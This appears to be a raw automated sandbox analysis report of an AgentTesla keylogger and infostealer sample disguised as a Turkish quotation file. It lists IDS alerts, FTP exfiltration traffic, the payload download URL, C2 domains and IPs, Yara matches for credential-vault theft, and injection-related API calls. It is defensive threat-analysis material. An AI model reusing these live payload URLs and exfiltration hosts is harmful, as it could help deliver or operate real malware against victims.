Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:49705 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:52080 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.5:52078 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.5:52073
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.5:52073
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 67.212.175.162:443 -> 192.168.2.5:52077
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 67.212.175.162:443 -> 192.168.2.5:52077

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 5.2.84.236 ports 1,60855,2,55987,21,52109

Source: global traffic

TCP traffic: 192.168.2.5:49708 -> 5.2.84.236:55987

Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 67.212.175.162 67.212.175.162
Source: Joe Sandbox View	IP Address: 5.2.84.236 5.2.84.236

Source: Joe Sandbox View	ASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
Source: Joe Sandbox View	ASN Name: ALASTYRTR ALASTYRTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

FTP traffic detected: 5.2.84.236:21 -> 192.168.2.5:49705 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 11:43. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /img/Tcghz.wav HTTP/1.1Host: wymascensores.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: wymascensores.com
Source: global traffic	DNS traffic detected: DNS query: ftp.alternatifplastik.com
Source: global traffic	DNS traffic detected: DNS query: 50.23.12.20.in-addr.arpa

Source: InstallUtil.exe, 00000002.00000002.2448653484.000000000264C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DEC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.alternatifplastik.com
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2448653484.000000000263E000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.00000000028DC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.2532815910.0000000002DDE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.3319267989.0000000002C1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000035BF000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000028BE000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.000000000366C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.2444038215.0000000000362000.00000040.00000400.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.000000000407C000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000003264000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002B2A000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000003A4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2477328871.0000000004959000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2558909751.0000000004329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.0000000002538000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F47000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.0000000002918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2231386513.00000000058D0000.00000004.08000000.00040000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.0000000003F03000.00000004.00000800.00020000.00000000.sdmp, Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2224473393.00000000036D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.00000000028DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com
Source: Teklif-6205018797-6100052155-UUE.exe, 00000000.00000002.2206832205.00000000024F1000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000004.00000002.2446673623.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, Ptqlzgvzpfa.exe, 00000005.00000002.2532866894.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wymascensores.com/img/Tcghz.wav
Source: Teklif-6205018797-6100052155-UUE.exe, Ptqlzgvzpfa.exe.0.dr	String found in binary or memory: https://wymascensores.com/img/Tcghz.wav7__AsyncLocalScope_Current__

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52073
Source: unknown	Network traffic detected: HTTP traffic on port 52073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 52077 -> 443

Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:52073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 67.212.175.162:443 -> 192.168.2.5:52077 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, SKTzxzsJw.cs

.Net Code: RePIUNFdBeM

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.InstallUtil.exe.360000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Teklif-6205018797-6100052155-UUE.exe.35d4a70.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598DCC8 NtProtectVirtualMemory,	0_2_0598DCC8
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598F200 NtResumeThread,	0_2_0598F200
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598F1AF NtResumeThread,	0_2_0598F1AF
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598F1F9 NtResumeThread,	0_2_0598F1F9
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598DCC0 NtProtectVirtualMemory,	0_2_0598DCC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647F200 NtResumeThread,	4_2_0647F200
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647DCC8 NtProtectVirtualMemory,	4_2_0647DCC8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647DCC0 NtProtectVirtualMemory,	4_2_0647DCC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647F1F9 NtResumeThread,	4_2_0647F1F9
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647F1AF NtResumeThread,	4_2_0647F1AF
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5DCC8 NtProtectVirtualMemory,	5_2_05D5DCC8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5F200 NtResumeThread,	5_2_05D5F200
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5DCC0 NtProtectVirtualMemory,	5_2_05D5DCC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5F1F9 NtResumeThread,	5_2_05D5F1F9
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05D5F1AF NtResumeThread,	5_2_05D5F1AF

Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0079A9C0	0_2_0079A9C0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_007967A0	0_2_007967A0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_00796791	0_2_00796791
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_058567C0	0_2_058567C0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0585673F	0_2_0585673F
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05855AD0	0_2_05855AD0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0585EAF0	0_2_0585EAF0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0585F988	0_2_0585F988
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05856D19	0_2_05856D19
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05850007	0_2_05850007
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05855C30	0_2_05855C30
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05850040	0_2_05850040
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_058567B0	0_2_058567B0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05855318	0_2_05855318
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05855328	0_2_05855328
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05855AC0	0_2_05855AC0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05935750	0_2_05935750
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05932140	0_2_05932140
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05932467	0_2_05932467
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05933348	0_2_05933348
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_059608C0	0_2_059608C0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596ED89	0_2_0596ED89
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596EDD0	0_2_0596EDD0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596EDC0	0_2_0596EDC0
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05962540	0_2_05962540
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05967D78	0_2_05967D78
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05967D6A	0_2_05967D6A
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596E810	0_2_0596E810
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0596E800	0_2_0596E800
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05982198	0_2_05982198
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598AA98	0_2_0598AA98
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05988A88	0_2_05988A88
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598DA20	0_2_0598DA20
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05989F58	0_2_05989F58
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05989F68	0_2_05989F68
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598AA88	0_2_0598AA88
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_0598DA10	0_2_0598DA10
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05988A78	0_2_05988A78
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A00006	0_2_05A00006
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A00040	0_2_05A00040
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05A0EB58	0_2_05A0EB58
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05C8DE50	0_2_05C8DE50
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05C8D168	0_2_05C8D168
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05C70040	0_2_05C70040
Source: C:\Users\user\Desktop\Teklif-6205018797-6100052155-UUE.exe	Code function: 0_2_05C7003B	0_2_05C7003B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_024293F8	2_2_024293F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02424A60	2_2_02424A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02423E48	2_2_02423E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_0242CF28	2_2_0242CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02429C70	2_2_02429C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02424190	2_2_02424190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C056B0	2_2_05C056B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C00040	2_2_05C00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C0BCC8	2_2_05C0BCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C0DC08	2_2_05C0DC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C03F28	2_2_05C03F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C08B68	2_2_05C08B68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C02AE8	2_2_05C02AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C09AA0	2_2_05C09AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C03230	2_2_05C03230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_05C04FD0	2_2_05C04FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 2_2_02429C68	2_2_02429C68
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0130A9C0	4_2_0130A9C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_013067A0	4_2_013067A0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_01306791	4_2_01306791
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0634EAF0	4_2_0634EAF0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06345AD0	4_2_06345AD0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_063467C0	4_2_063467C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06341EBD	4_2_06341EBD
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06345AC0	4_2_06345AC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06345328	4_2_06345328
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06345318	4_2_06345318
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_063467B0	4_2_063467B0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06345C30	4_2_06345C30
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06340006	4_2_06340006
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06340040	4_2_06340040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06346D1A	4_2_06346D1A
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0634F988	4_2_0634F988
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06425750	4_2_06425750
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06422140	4_2_06422140
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06422467	4_2_06422467
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06423348	4_2_06423348
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064508C0	4_2_064508C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0645DF49	4_2_0645DF49
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0645DF58	4_2_0645DF58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0645D979	4_2_0645D979
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0645D988	4_2_0645D988
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647DA20	4_2_0647DA20
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06478A88	4_2_06478A88
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647AA98	4_2_0647AA98
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064723D8	4_2_064723D8
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06478A78	4_2_06478A78
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647DA1E	4_2_0647DA1E
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647AA88	4_2_0647AA88
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06479F58	4_2_06479F58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06479F68	4_2_06479F68
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0647DCC0	4_2_0647DCC0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064FEB58	4_2_064FEB58
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064F0040	4_2_064F0040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_064F0006	4_2_064F0006
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0677DE50	4_2_0677DE50
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06760040	4_2_06760040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_06760039	4_2_06760039
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 4_2_0677D168	4_2_0677D168
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_00D6A9C0	5_2_00D6A9C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_00D66791	5_2_00D66791
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_00D667A0	5_2_00D667A0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2F193	5_2_05C2F193
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C267C0	5_2_05C267C0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C25AD0	5_2_05C25AD0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2EAF0	5_2_05C2EAF0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2F988	5_2_05C2F988
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C26D1A	5_2_05C26D1A
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C20040	5_2_05C20040
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C2001C	5_2_05C2001C
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C25C30	5_2_05C25C30
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C267B0	5_2_05C267B0
Source: C:\Users\user\AppData\Roaming\Ptqlzgvzpfa.exe	Code function: 5_2_05C25318	5_2_05C25318
